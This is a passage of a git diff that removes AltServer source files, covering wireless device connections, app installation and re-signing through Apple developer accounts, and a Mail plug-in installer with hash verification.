public var disconnectionHandler: ((Connection) -> Void)?
public var stateUpdateHandler: ((State) -> Void)?
public private(set) var state: State = .notRunning {
didSet {
self.stateUpdateHandler?(self.state)
}
}
private lazy var listener = self.makeListener()
private let dispatchQueue = DispatchQueue(label: "io.altstore.WirelessConnectionListener", qos: .utility)
public func startListening()
{
switch self.state
{
case .notRunning, .failed: self.listener.start(queue: self.dispatchQueue)
default: break
}
}
public func stopListening()
{
switch self.state
{
case .running: self.listener.cancel()
default: break
}
}
}
private extension WirelessConnectionHandler
{
func makeListener() -> NWListener
{
let listener = try! NWListener(using: .tcp)
let service: NWListener.Service
if let serverID = UserDefaults.standard.serverID?.data(using: .utf8)
{
let txtDictionary = ["serverID": serverID]
let txtData = NetService.data(fromTXTRecord: txtDictionary)
service = NWListener.Service(name: nil, type: ALTServerServiceType, domain: nil, txtRecord: txtData)
}
else
{
service = NWListener.Service(type: ALTServerServiceType)
}
listener.service = service
listener.serviceRegistrationUpdateHandler = { (serviceChange) in
switch serviceChange
{
case .add(.service(let name, let type, let domain, _)):
let service = NWListener.Service(name: name, type: type, domain: domain, txtRecord: nil)
self.state = .running(service)
default: break
}
}
listener.stateUpdateHandler = { (state) in
switch state
{
case .ready: break
case .waiting, .setup: self.state = .connecting
case .cancelled: self.state = .notRunning
case .failed(let error): self.state = .failed(error)
@unknown default: break
}
}
listener.newConnectionHandler = { [weak self] (connection) in
self?.prepare(connection)
}
return listener
}
func prepare(_ nwConnection: NWConnection)
{
print("Preparing:", nwConnection)
// Use same instance for all callbacks.
let connection = NetworkConnection(nwConnection)
nwConnection.stateUpdateHandler = { [weak self] (state) in
switch state
{
case .setup, .preparing: break
case .ready:
print("Connected to client:", connection)
self?.connectionHandler?(connection)
case .waiting:
print("Waiting for connection...")
case .failed(let error):
print("Failed to connect to service \(nwConnection.endpoint).", error)
self?.disconnect(connection)
case .cancelled:
self?.disconnect(connection)
@unknown default: break
}
}
nwConnection.start(queue: self.dispatchQueue)
}
func disconnect(_ connection: Connection)
{
connection.disconnect()
self.disconnectionHandler?(connection)
}
}

View File

@@ -1,846 +0,0 @@
//
// ALTDeviceManager+Installation.swift
// AltServer
//
// Created by Riley Testut on 7/1/19.
// Copyright © 2019 Riley Testut. All rights reserved.
//
import Cocoa
import UserNotifications
import ObjectiveC
private let appGroupsLock = NSLock()
enum InstallError: LocalizedError
{
case cancelled
case noTeam
case missingPrivateKey
case missingCertificate
var errorDescription: String? {
switch self
{
case .cancelled: return NSLocalizedString("The operation was cancelled.", comment: "")
case .noTeam: return "You are not a member of any developer teams."
case .missingPrivateKey: return "The developer certificate's private key could not be found."
case .missingCertificate: return "The developer certificate could not be found."
}
}
}
extension ALTDeviceManager
{
func installApplication(at url: URL, to device: ALTDevice, appleID: String, password: String, completion: @escaping (Result<ALTApplication, Error>) -> Void)
{
let destinationDirectoryURL = FileManager.default.temporaryDirectory.appendingPathComponent(UUID().uuidString)
func finish(_ result: Result<ALTApplication, Error>, title: String = "")
{
DispatchQueue.main.async {
completion(result)
}
try? FileManager.default.removeItem(at: destinationDirectoryURL)
}
AnisetteDataManager.shared.requestAnisetteData { (result) in
do
{
let anisetteData = try result.get()
self.authenticate(appleID: appleID, password: password, anisetteData: anisetteData) { (result) in
do
{
let (account, session) = try result.get()
self.fetchTeam(for: account, session: session) { (result) in
do
{
let team = try result.get()
self.register(device, team: team, session: session) { (result) in
do
{
let device = try result.get()
self.fetchCertificate(for: team, session: session) { (result) in
do
{
let certificate = try result.get()
if !url.isFileURL
{
// Show alert before downloading remote .ipa.
self.showInstallationAlert(appName: NSLocalizedString("AltStore", comment: ""), deviceName: device.name)
}
self.downloadApp(from: url) { (result) in
do
{
let fileURL = try result.get()
try FileManager.default.createDirectory(at: destinationDirectoryURL, withIntermediateDirectories: true, attributes: nil)
let appBundleURL = try FileManager.default.unzipAppBundle(at: fileURL, toDirectory: destinationDirectoryURL)
guard let application = ALTApplication(fileURL: appBundleURL) else { throw ALTError(.invalidApp) }
if url.isFileURL
{
// Show alert after "downloading" local .ipa.
self.showInstallationAlert(appName: application.name, deviceName: device.name)
}
// Refresh anisette data to prevent session timeouts.
AnisetteDataManager.shared.requestAnisetteData { (result) in
do
{
let anisetteData = try result.get()
session.anisetteData = anisetteData
self.prepareAllProvisioningProfiles(for: application, device: device, team: team, session: session) { (result) in
do
{
let profiles = try result.get()
self.install(application, to: device, team: team, certificate: certificate, profiles: profiles) { (result) in
finish(result.map { application }, title: "Failed to Install AltStore")
}
}
catch
{
finish(.failure(error), title: "Failed to Fetch Provisioning Profiles")
}
}
}
catch
{
finish(.failure(error), title: "Failed to Refresh Anisette Data")
}
}
}
catch
{
finish(.failure(error), title: "Failed to Download AltStore")
}
}
}
catch
{
finish(.failure(error), title: "Failed to Fetch Certificate")
}
}
}
catch
{
finish(.failure(error), title: "Failed to Register Device")
}
}
}
catch
{
finish(.failure(error), title: "Failed to Fetch Team")
}
}
}
catch
{
finish(.failure(error), title: "Failed to Authenticate")
}
}
}
catch
{
finish(.failure(error), title: "Failed to Fetch Anisette Data")
}
}
}
}
private extension ALTDeviceManager
{
func downloadApp(from url: URL, completionHandler: @escaping (Result<URL, Error>) -> Void)
{
guard !url.isFileURL else { return completionHandler(.success(url)) }
let downloadTask = URLSession.shared.downloadTask(with: url) { (fileURL, response, error) in
do
{
let (fileURL, _) = try Result((fileURL, response), error).get()
completionHandler(.success(fileURL))
do { try FileManager.default.removeItem(at: fileURL) }
catch { print("Failed to remove downloaded .ipa.", error) }
}
catch
{
completionHandler(.failure(error))
}
}
downloadTask.resume()
}
func authenticate(appleID: String, password: String, anisetteData: ALTAnisetteData, completionHandler: @escaping (Result<(ALTAccount, ALTAppleAPISession), Error>) -> Void)
{
func handleVerificationCode(_ completionHandler: @escaping (String?) -> Void)
{
DispatchQueue.main.async {
let alert = NSAlert()
alert.messageText = NSLocalizedString("Two-Factor Authentication Enabled", comment: "")
alert.informativeText = NSLocalizedString("Please enter the 6-digit verification code that was sent to your Apple devices.", comment: "")
let textField = NSTextField(frame: NSRect(x: 0, y: 0, width: 300, height: 22))
textField.delegate = self
textField.translatesAutoresizingMaskIntoConstraints = false
textField.placeholderString = NSLocalizedString("123456", comment: "")
alert.accessoryView = textField
alert.window.initialFirstResponder = textField
alert.addButton(withTitle: NSLocalizedString("Continue", comment: ""))
alert.addButton(withTitle: NSLocalizedString("Cancel", comment: ""))
self.securityCodeAlert = alert
self.securityCodeTextField = textField
self.validate()
NSRunningApplication.current.activate(options: .activateIgnoringOtherApps)
let response = alert.runModal()
if response == .alertFirstButtonReturn
{
let code = textField.stringValue
completionHandler(code)
}
else
{
completionHandler(nil)
}
}
}
ALTAppleAPI.shared.authenticate(appleID: appleID, password: password, anisetteData: anisetteData, verificationHandler: handleVerificationCode) { (account, session, error) in
if let account = account, let session = session
{
completionHandler(.success((account, session)))
}
else
{
completionHandler(.failure(error ?? ALTAppleAPIError(.unknown)))
}
}
}
func fetchTeam(for account: ALTAccount, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTTeam, Error>) -> Void)
{
ALTAppleAPI.shared.fetchTeams(for: account, session: session) { (teams, error) in
do
{
let teams = try Result(teams, error).get()
if let team = teams.first(where: { $0.type == .individual })
{
return completionHandler(.success(team))
}
else if let team = teams.first(where: { $0.type == .free })
{
return completionHandler(.success(team))
}
else if let team = teams.first
{
return completionHandler(.success(team))
}
else
{
throw InstallError.noTeam
}
}
catch
{
completionHandler(.failure(error))
}
}
}
func fetchCertificate(for team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTCertificate, Error>) -> Void)
{
ALTAppleAPI.shared.fetchCertificates(for: team, session: session) { (certificates, error) in
do
{
let certificates = try Result(certificates, error).get()
let applicationSupportDirectoryURL = FileManager.default.urls(for: .applicationSupportDirectory, in: .userDomainMask)[0]
let altserverDirectoryURL = applicationSupportDirectoryURL.appendingPathComponent("com.rileytestut.AltServer")
let certificatesDirectoryURL = altserverDirectoryURL.appendingPathComponent("Certificates")
try FileManager.default.createDirectory(at: certificatesDirectoryURL, withIntermediateDirectories: true, attributes: nil)
let certificateFileURL = certificatesDirectoryURL.appendingPathComponent(team.identifier + ".p12")
var isCancelled = false
// Check if there is another AltStore certificate, which means AltStore has been installed with this Apple ID before.
if let previousCertificate = certificates.first(where: { $0.machineName?.starts(with: "AltStore") == true })
{
if FileManager.default.fileExists(atPath: certificateFileURL.path),
let data = try? Data(contentsOf: certificateFileURL),
let certificate = ALTCertificate(p12Data: data, password: previousCertificate.machineIdentifier)
{
// Manually set machineIdentifier so we can encrypt + embed certificate if needed.
certificate.machineIdentifier = previousCertificate.machineIdentifier
return completionHandler(.success(certificate))
}
DispatchQueue.main.sync {
let alert = NSAlert()
alert.messageText = NSLocalizedString("Multiple AltServers Not Supported", comment: "")
alert.informativeText = NSLocalizedString("Please use the same AltServer you previously used with this Apple ID, or else apps installed with other AltServers will stop working.\n\nAre you sure you want to continue?", comment: "")
alert.addButton(withTitle: NSLocalizedString("Continue", comment: ""))
alert.addButton(withTitle: NSLocalizedString("Cancel", comment: ""))
NSRunningApplication.current.activate(options: .activateIgnoringOtherApps)
let buttonIndex = alert.runModal()
if buttonIndex == NSApplication.ModalResponse.alertSecondButtonReturn
{
isCancelled = true
}
}
guard !isCancelled else { return completionHandler(.failure(InstallError.cancelled)) }
}
if team.type != .free
{
DispatchQueue.main.sync {
let alert = NSAlert()
alert.messageText = NSLocalizedString("Installing this app will revoke your iOS development certificate.", comment: "")
alert.informativeText = NSLocalizedString("""
This will not affect apps you've submitted to the App Store, but may cause apps you've installed to your devices with Xcode to stop working until you reinstall them.
To prevent this from happening, feel free to try again with another Apple ID.
""", comment: "")
alert.addButton(withTitle: NSLocalizedString("Continue", comment: ""))
alert.addButton(withTitle: NSLocalizedString("Cancel", comment: ""))
NSRunningApplication.current.activate(options: .activateIgnoringOtherApps)
let buttonIndex = alert.runModal()
if buttonIndex == NSApplication.ModalResponse.alertSecondButtonReturn
{
isCancelled = true
}
}
guard !isCancelled else { return completionHandler(.failure(InstallError.cancelled)) }
}
if let certificate = certificates.first
{
ALTAppleAPI.shared.revoke(certificate, for: team, session: session) { (success, error) in
do
{
try Result(success, error).get()
self.fetchCertificate(for: team, session: session, completionHandler: completionHandler)
}
catch
{
completionHandler(.failure(error))
}
}
}
else
{
ALTAppleAPI.shared.addCertificate(machineName: "AltStore", to: team, session: session) { (certificate, error) in
do
{
let certificate = try Result(certificate, error).get()
guard let privateKey = certificate.privateKey else { throw InstallError.missingPrivateKey }
ALTAppleAPI.shared.fetchCertificates(for: team, session: session) { (certificates, error) in
do
{
let certificates = try Result(certificates, error).get()
guard let certificate = certificates.first(where: { $0.serialNumber == certificate.serialNumber }) else {
throw InstallError.missingCertificate
}
certificate.privateKey = privateKey
completionHandler(.success(certificate))
if let machineIdentifier = certificate.machineIdentifier,
let encryptedData = certificate.encryptedP12Data(withPassword: machineIdentifier)
{
// Cache certificate.
do { try encryptedData.write(to: certificateFileURL, options: .atomic) }
catch { print("Failed to cache certificate:", error) }
}
}
catch
{
completionHandler(.failure(error))
}
}
}
catch
{
completionHandler(.failure(error))
}
}
}
}
catch
{
completionHandler(.failure(error))
}
}
}
func prepareAllProvisioningProfiles(for application: ALTApplication, device: ALTDevice, team: ALTTeam, session: ALTAppleAPISession,
completion: @escaping (Result<[String: ALTProvisioningProfile], Error>) -> Void)
{
self.prepareProvisioningProfile(for: application, parentApp: nil, device: device, team: team, session: session) { (result) in
do
{
let profile = try result.get()
var profiles = [application.bundleIdentifier: profile]
var error: Error?
let dispatchGroup = DispatchGroup()
for appExtension in application.appExtensions
{
dispatchGroup.enter()
self.prepareProvisioningProfile(for: appExtension, parentApp: application, device: device, team: team, session: session) { (result) in
switch result
{
case .failure(let e): error = e
case .success(let profile): profiles[appExtension.bundleIdentifier] = profile
}
dispatchGroup.leave()
}
}
dispatchGroup.notify(queue: .global()) {
if let error = error
{
completion(.failure(error))
}
else
{
completion(.success(profiles))
}
}
}
catch
{
completion(.failure(error))
}
}
}
func prepareProvisioningProfile(for application: ALTApplication, parentApp: ALTApplication?, device: ALTDevice, team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTProvisioningProfile, Error>) -> Void)
{
let parentBundleID = parentApp?.bundleIdentifier ?? application.bundleIdentifier
let updatedParentBundleID: String
if application.isAltStoreApp
{
// Use legacy bundle ID format for AltStore (and its extensions).
updatedParentBundleID = "com.\(team.identifier).\(parentBundleID)"
}
else
{
updatedParentBundleID = parentBundleID + "." + team.identifier // Append just team identifier to make it harder to track.
}
let bundleID = application.bundleIdentifier.replacingOccurrences(of: parentBundleID, with: updatedParentBundleID)
let preferredName: String
if let parentApp = parentApp
{
preferredName = parentApp.name + " " + application.name
}
else
{
preferredName = application.name
}
self.registerAppID(name: preferredName, bundleID: bundleID, team: team, session: session) { (result) in
do
{
let appID = try result.get()
self.updateFeatures(for: appID, app: application, team: team, session: session) { (result) in
do
{
let appID = try result.get()
self.updateAppGroups(for: appID, app: application, team: team, session: session) { (result) in
do
{
let appID = try result.get()
self.fetchProvisioningProfile(for: appID, device: device, team: team, session: session) { (result) in
completionHandler(result)
}
}
catch
{
completionHandler(.failure(error))
}
}
}
catch
{
completionHandler(.failure(error))
}
}
}
catch
{
completionHandler(.failure(error))
}
}
}
func registerAppID(name appName: String, bundleID: String, team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTAppID, Error>) -> Void)
{
ALTAppleAPI.shared.fetchAppIDs(for: team, session: session) { (appIDs, error) in
do
{
let appIDs = try Result(appIDs, error).get()
if let appID = appIDs.first(where: { $0.bundleIdentifier == bundleID })
{
completionHandler(.success(appID))
}
else
{
ALTAppleAPI.shared.addAppID(withName: appName, bundleIdentifier: bundleID, team: team, session: session) { (appID, error) in
completionHandler(Result(appID, error))
}
}
}
catch
{
completionHandler(.failure(error))
}
}
}
func updateFeatures(for appID: ALTAppID, app: ALTApplication, team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTAppID, Error>) -> Void)
{
let requiredFeatures = app.entitlements.compactMap { (entitlement, value) -> (ALTFeature, Any)? in
guard let feature = ALTFeature(entitlement: entitlement) else { return nil }
return (feature, value)
}
var features = requiredFeatures.reduce(into: [ALTFeature: Any]()) { $0[$1.0] = $1.1 }
if let applicationGroups = app.entitlements[.appGroups] as? [String], !applicationGroups.isEmpty
{
features[.appGroups] = true
}
var updateFeatures = false
// Determine whether the required features are already enabled for the AppID.
for (feature, value) in features
{
if let appIDValue = appID.features[feature] as AnyObject?, (value as AnyObject).isEqual(appIDValue)
{
// AppID already has this feature enabled and the values are the same.
continue
}
else
{
// AppID either doesn't have this feature enabled or the value has changed,
// so we need to update it to reflect new values.
updateFeatures = true
break
}
}
if updateFeatures
{
let appID = appID.copy() as! ALTAppID
appID.features = features
ALTAppleAPI.shared.update(appID, team: team, session: session) { (appID, error) in
completionHandler(Result(appID, error))
}
}
else
{
completionHandler(.success(appID))
}
}
func updateAppGroups(for appID: ALTAppID, app: ALTApplication, team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTAppID, Error>) -> Void)
{
let applicationGroups = app.entitlements[.appGroups] as? [String] ?? []
if applicationGroups.isEmpty
{
guard let isAppGroupsEnabled = appID.features[.appGroups] as? Bool, isAppGroupsEnabled else {
// No app groups, and we also haven't enabled the feature, so don't continue.
// For apps with no app groups but have had the feature enabled already
// we'll continue and assign the app ID to an empty array
// in case we need to explicitly remove them.
return completionHandler(.success(appID))
}
}
// Dispatch onto global queue to prevent appGroupsLock deadlock.
DispatchQueue.global().async {
// Ensure we're not concurrently fetching and updating app groups,
// which can lead to race conditions such as adding an app group twice.
appGroupsLock.lock()
func finish(_ result: Result<ALTAppID, Error>)
{
appGroupsLock.unlock()
completionHandler(result)
}
ALTAppleAPI.shared.fetchAppGroups(for: team, session: session) { (groups, error) in
switch Result(groups, error)
{
case .failure(let error): finish(.failure(error))
case .success(let fetchedGroups):
let dispatchGroup = DispatchGroup()
var groups = [ALTAppGroup]()
var errors = [Error]()
for groupIdentifier in applicationGroups
{
let adjustedGroupIdentifier = groupIdentifier + "." + team.identifier
if let group = fetchedGroups.first(where: { $0.groupIdentifier == adjustedGroupIdentifier })
{
groups.append(group)
}
else
{
dispatchGroup.enter()
// Not all characters are allowed in group names, so we replace periods with spaces (like Apple does).
let name = "AltStore " + groupIdentifier.replacingOccurrences(of: ".", with: " ")
ALTAppleAPI.shared.addAppGroup(withName: name, groupIdentifier: adjustedGroupIdentifier, team: team, session: session) { (group, error) in
switch Result(group, error)
{
case .success(let group): groups.append(group)
case .failure(let error): errors.append(error)
}
dispatchGroup.leave()
}
}
}
dispatchGroup.notify(queue: .global()) {
if let error = errors.first
{
finish(.failure(error))
}
else
{
ALTAppleAPI.shared.assign(appID, to: Array(groups), team: team, session: session) { (success, error) in
let result = Result(success, error)
finish(result.map { _ in appID })
}
}
}
}
}
}
}
func register(_ device: ALTDevice, team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTDevice, Error>) -> Void)
{
ALTAppleAPI.shared.fetchDevices(for: team, types: device.type, session: session) { (devices, error) in
do
{
let devices = try Result(devices, error).get()
if let device = devices.first(where: { $0.identifier == device.identifier })
{
completionHandler(.success(device))
}
else
{
ALTAppleAPI.shared.registerDevice(name: device.name, identifier: device.identifier, type: device.type, team: team, session: session) { (device, error) in
completionHandler(Result(device, error))
}
}
}
catch
{
completionHandler(.failure(error))
}
}
}
func fetchProvisioningProfile(for appID: ALTAppID, device: ALTDevice, team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTProvisioningProfile, Error>) -> Void)
{
ALTAppleAPI.shared.fetchProvisioningProfile(for: appID, deviceType: device.type, team: team, session: session) { (profile, error) in
completionHandler(Result(profile, error))
}
}
func install(_ application: ALTApplication, to device: ALTDevice, team: ALTTeam, certificate: ALTCertificate, profiles: [String: ALTProvisioningProfile], completionHandler: @escaping (Result<Void, Error>) -> Void)
{
func prepare(_ bundle: Bundle, additionalInfoDictionaryValues: [String: Any] = [:]) throws
{
guard let identifier = bundle.bundleIdentifier else { throw ALTError(.missingAppBundle) }
guard let profile = profiles[identifier] else { throw ALTError(.missingProvisioningProfile) }
guard var infoDictionary = bundle.completeInfoDictionary else { throw ALTError(.missingInfoPlist) }
infoDictionary[kCFBundleIdentifierKey as String] = profile.bundleIdentifier
infoDictionary[Bundle.Info.altBundleID] = identifier
for (key, value) in additionalInfoDictionaryValues
{
infoDictionary[key] = value
}
if let appGroups = profile.entitlements[.appGroups] as? [String]
{
infoDictionary[Bundle.Info.appGroups] = appGroups
}
try (infoDictionary as NSDictionary).write(to: bundle.infoPlistURL)
}
DispatchQueue.global().async {
do
{
guard let appBundle = Bundle(url: application.fileURL) else { throw ALTError(.missingAppBundle) }
guard let infoDictionary = appBundle.completeInfoDictionary else { throw ALTError(.missingInfoPlist) }
let openAppURL = URL(string: "altstore-" + application.bundleIdentifier + "://")!
var allURLSchemes = infoDictionary[Bundle.Info.urlTypes] as? [[String: Any]] ?? []
// Embed open URL so AltBackup can return to AltStore.
let altstoreURLScheme = ["CFBundleTypeRole": "Editor",
"CFBundleURLName": application.bundleIdentifier,
"CFBundleURLSchemes": [openAppURL.scheme!]] as [String : Any]
allURLSchemes.append(altstoreURLScheme)
var additionalValues: [String: Any] = [Bundle.Info.urlTypes: allURLSchemes]
if application.isAltStoreApp
{
additionalValues[Bundle.Info.deviceID] = device.identifier
additionalValues[Bundle.Info.serverID] = UserDefaults.standard.serverID
if
let machineIdentifier = certificate.machineIdentifier,
let encryptedData = certificate.encryptedP12Data(withPassword: machineIdentifier)
{
additionalValues[Bundle.Info.certificateID] = certificate.serialNumber
let certificateURL = application.fileURL.appendingPathComponent("ALTCertificate.p12")
try encryptedData.write(to: certificateURL, options: .atomic)
}
}
try prepare(appBundle, additionalInfoDictionaryValues: additionalValues)
for appExtension in application.appExtensions
{
guard let bundle = Bundle(url: appExtension.fileURL) else { throw ALTError(.missingAppBundle) }
try prepare(bundle)
}
let resigner = ALTSigner(team: team, certificate: certificate)
resigner.signApp(at: application.fileURL, provisioningProfiles: Array(profiles.values)) { (success, error) in
do
{
try Result(success, error).get()
let activeProfiles: Set<String>? = (team.type == .free && application.isAltStoreApp) ? Set(profiles.values.map(\.bundleIdentifier)) : nil
ALTDeviceManager.shared.installApp(at: application.fileURL, toDeviceWithUDID: device.identifier, activeProvisioningProfiles: activeProfiles) { (success, error) in
completionHandler(Result(success, error))
}
}
catch
{
print("Failed to install app", error)
completionHandler(.failure(error))
}
}
}
catch
{
print("Failed to install AltStore", error)
completionHandler(.failure(error))
}
}
}
func showInstallationAlert(appName: String, deviceName: String)
{
let content = UNMutableNotificationContent()
content.title = String(format: NSLocalizedString("Installing %@ to %@...", comment: ""), appName, deviceName)
content.body = NSLocalizedString("This may take a few seconds.", comment: "")
let request = UNNotificationRequest(identifier: UUID().uuidString, content: content, trigger: nil)
UNUserNotificationCenter.current().add(request)
}
}
private var securityCodeAlertKey = 0
private var securityCodeTextFieldKey = 0
extension ALTDeviceManager: NSTextFieldDelegate
{
var securityCodeAlert: NSAlert? {
get { return objc_getAssociatedObject(self, &securityCodeAlertKey) as? NSAlert }
set { objc_setAssociatedObject(self, &securityCodeAlertKey, newValue, .OBJC_ASSOCIATION_RETAIN_NONATOMIC) }
}
var securityCodeTextField: NSTextField? {
get { return objc_getAssociatedObject(self, &securityCodeTextFieldKey) as? NSTextField }
set { objc_setAssociatedObject(self, &securityCodeTextFieldKey, newValue, .OBJC_ASSOCIATION_RETAIN_NONATOMIC) }
}
public func controlTextDidChange(_ obj: Notification)
{
self.validate()
}
public func controlTextDidEndEditing(_ obj: Notification)
{
self.validate()
}
private func validate()
{
guard let code = self.securityCodeTextField?.stringValue.trimmingCharacters(in: .whitespacesAndNewlines) else { return }
if code.count == 6
{
self.securityCodeAlert?.buttons.first?.isEnabled = true
}
else
{
self.securityCodeAlert?.buttons.first?.isEnabled = false
}
self.securityCodeAlert?.layout()
}
}

View File

@@ -1,42 +0,0 @@
//
// ALTDeviceManager.h
// AltServer
//
// Created by Riley Testut on 5/24/19.
// Copyright © 2019 Riley Testut. All rights reserved.
//
#import <Foundation/Foundation.h>
#import "AltSign.h"
@class ALTWiredConnection;
@class ALTNotificationConnection;
NS_ASSUME_NONNULL_BEGIN
extern NSNotificationName const ALTDeviceManagerDeviceDidConnectNotification NS_SWIFT_NAME(deviceManagerDeviceDidConnect);
extern NSNotificationName const ALTDeviceManagerDeviceDidDisconnectNotification NS_SWIFT_NAME(deviceManagerDeviceDidDisconnect);
@interface ALTDeviceManager : NSObject
@property (class, nonatomic, readonly) ALTDeviceManager *sharedManager;
@property (nonatomic, readonly) NSArray<ALTDevice *> *connectedDevices;
@property (nonatomic, readonly) NSArray<ALTDevice *> *availableDevices;
- (void)start;
/* App Installation */
- (NSProgress *)installAppAtURL:(NSURL *)fileURL toDeviceWithUDID:(NSString *)udid activeProvisioningProfiles:(nullable NSSet<NSString *> *)activeProvisioningProfiles completionHandler:(void (^)(BOOL success, NSError *_Nullable error))completionHandler;
- (void)removeAppForBundleIdentifier:(NSString *)bundleIdentifier fromDeviceWithUDID:(NSString *)udid completionHandler:(void (^)(BOOL success, NSError *_Nullable error))completionHandler;
- (void)installProvisioningProfiles:(NSSet<ALTProvisioningProfile *> *)provisioningProfiles toDeviceWithUDID:(NSString *)udid activeProvisioningProfiles:(nullable NSSet<NSString *> *)activeProvisioningProfiles completionHandler:(void (^)(BOOL success, NSError *_Nullable error))completionHandler;
- (void)removeProvisioningProfilesForBundleIdentifiers:(NSSet<NSString *> *)bundleIdentifiers fromDeviceWithUDID:(NSString *)udid completionHandler:(void (^)(BOOL success, NSError *_Nullable error))completionHandler;
/* Connections */
- (void)startWiredConnectionToDevice:(ALTDevice *)device completionHandler:(void (^)(ALTWiredConnection *_Nullable connection, NSError *_Nullable error))completionHandler;
- (void)startNotificationConnectionToDevice:(ALTDevice *)device completionHandler:(void (^)(ALTNotificationConnection *_Nullable connection, NSError *_Nullable error))completionHandler;
@end
NS_ASSUME_NONNULL_END

File diff suppressed because it is too large Load Diff

View File

@@ -1,38 +0,0 @@
//
// UserDefaults+AltServer.swift
// AltServer
//
// Created by Riley Testut on 7/31/19.
// Copyright © 2019 Riley Testut. All rights reserved.
//
import Foundation
extension UserDefaults
{
var serverID: String? {
get {
return self.string(forKey: "serverID")
}
set {
self.set(newValue, forKey: "serverID")
}
}
var didPresentInitialNotification: Bool {
get {
return self.bool(forKey: "didPresentInitialNotification")
}
set {
self.set(newValue, forKey: "didPresentInitialNotification")
}
}
func registerDefaults()
{
if self.serverID == nil
{
self.serverID = UUID().uuidString
}
}
}

View File

@@ -1,36 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleDevelopmentRegion</key>
<string>$(DEVELOPMENT_LANGUAGE)</string>
<key>CFBundleExecutable</key>
<string>$(EXECUTABLE_NAME)</string>
<key>CFBundleIconFile</key>
<string></string>
<key>CFBundleIdentifier</key>
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>$(PRODUCT_NAME)</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleShortVersionString</key>
<string>$(MARKETING_VERSION)</string>
<key>CFBundleVersion</key>
<string>$(CURRENT_PROJECT_VERSION)</string>
<key>LSMinimumSystemVersion</key>
<string>$(MACOSX_DEPLOYMENT_TARGET)</string>
<key>LSUIElement</key>
<true/>
<key>NSHumanReadableCopyright</key>
<string>Copyright © 2019 Riley Testut. All rights reserved.</string>
<key>NSMainStoryboardFile</key>
<string>Main</string>
<key>NSPrincipalClass</key>
<string>NSApplication</string>
<key>SUFeedURL</key>
<string>https://altstore.io/altserver/sparkle-macos.xml</string>
</dict>
</plist>

View File

@@ -1,310 +0,0 @@
//
// PluginManager.swift
// AltServer
//
// Created by Riley Testut on 9/16/20.
// Copyright © 2020 Riley Testut. All rights reserved.
//
import Foundation
import AppKit
import CryptoKit
import STPrivilegedTask
private let pluginDirectoryURL = URL(fileURLWithPath: "/Library/Mail/Bundles", isDirectory: true)
private let pluginURL = pluginDirectoryURL.appendingPathComponent("AltPlugin.mailbundle")
enum PluginError: LocalizedError
{
case cancelled
case unknown
case notFound
case mismatchedHash(hash: String, expectedHash: String)
case taskError(String)
case taskErrorCode(Int)
var errorDescription: String? {
switch self
{
case .cancelled: return NSLocalizedString("Mail plug-in installation was cancelled.", comment: "")
case .unknown: return NSLocalizedString("Failed to install Mail plug-in.", comment: "")
case .notFound: return NSLocalizedString("The Mail plug-in does not exist at the requested URL.", comment: "")
case .mismatchedHash(let hash, let expectedHash): return String(format: NSLocalizedString("The hash of the downloaded Mail plug-in does not match the expected hash.\n\nHash:\n%@\n\nExpected Hash:\n%@", comment: ""), hash, expectedHash)
case .taskError(let output): return output
case .taskErrorCode(let errorCode): return String(format: NSLocalizedString("There was an error installing the Mail plug-in. (Error Code: %@)", comment: ""), NSNumber(value: errorCode))
}
}
}
struct PluginVersion
{
var url: URL
var sha256Hash: String
var version: String
static let v1_0 = PluginVersion(url: URL(string: "https://f000.backblazeb2.com/file/altstore/altserver/altplugin/1_0.zip")!,
sha256Hash: "070e9b7e1f74e7a6474d36253ab5a3623ff93892acc9e1043c3581f2ded12200",
version: "1.0")
static let v1_3 = PluginVersion(url: Bundle.main.url(forResource: "AltPlugin", withExtension: "zip")!,
sha256Hash: "6c939d6601ea9793f149e4f6dd4a154e8229a9b9cf7f4bea4a1d6bca7d433512",
version: "1.3")
}
class PluginManager
{
var isMailPluginInstalled: Bool {
let isMailPluginInstalled = FileManager.default.fileExists(atPath: pluginURL.path)
return isMailPluginInstalled
}
var isUpdateAvailable: Bool {
guard let bundle = Bundle(url: pluginURL) else { return false }
// Load Info.plist from disk because Bundle.infoDictionary is cached by system.
let infoDictionaryURL = bundle.bundleURL.appendingPathComponent("Contents/Info.plist")
guard let infoDictionary = NSDictionary(contentsOf: infoDictionaryURL) as? [String: Any],
let version = infoDictionary["CFBundleShortVersionString"] as? String
else { return false }
let isUpdateAvailable = (version != self.preferredVersion.version)
return isUpdateAvailable
}
private var preferredVersion: PluginVersion {
if #available(macOS 11, *)
{
return .v1_3
}
else
{
return .v1_0
}
}
}
extension PluginManager
{
func installMailPlugin(completionHandler: @escaping (Result<Void, Error>) -> Void)
{
do
{
let alert = NSAlert()
if self.isUpdateAvailable
{
alert.messageText = NSLocalizedString("Update Mail Plug-in", comment: "")
alert.informativeText = NSLocalizedString("An update is available for AltServer's Mail plug-in. Please update the plug-in now in order to keep using AltStore.", comment: "")
alert.addButton(withTitle: NSLocalizedString("Update Plug-in", comment: ""))
alert.addButton(withTitle: NSLocalizedString("Cancel", comment: ""))
}
else
{
alert.messageText = NSLocalizedString("Install Mail Plug-in", comment: "")
alert.informativeText = NSLocalizedString("AltServer requires a Mail plug-in in order to retrieve necessary information about your Apple ID. Would you like to install it now?", comment: "")
alert.addButton(withTitle: NSLocalizedString("Install Plug-in", comment: ""))
alert.addButton(withTitle: NSLocalizedString("Cancel", comment: ""))
}
NSRunningApplication.current.activate(options: .activateIgnoringOtherApps)
let response = alert.runModal()
guard response == .alertFirstButtonReturn else { throw PluginError.cancelled }
self.downloadPlugin { (result) in
do
{
let fileURL = try result.get()
// Ensure plug-in directory exists.
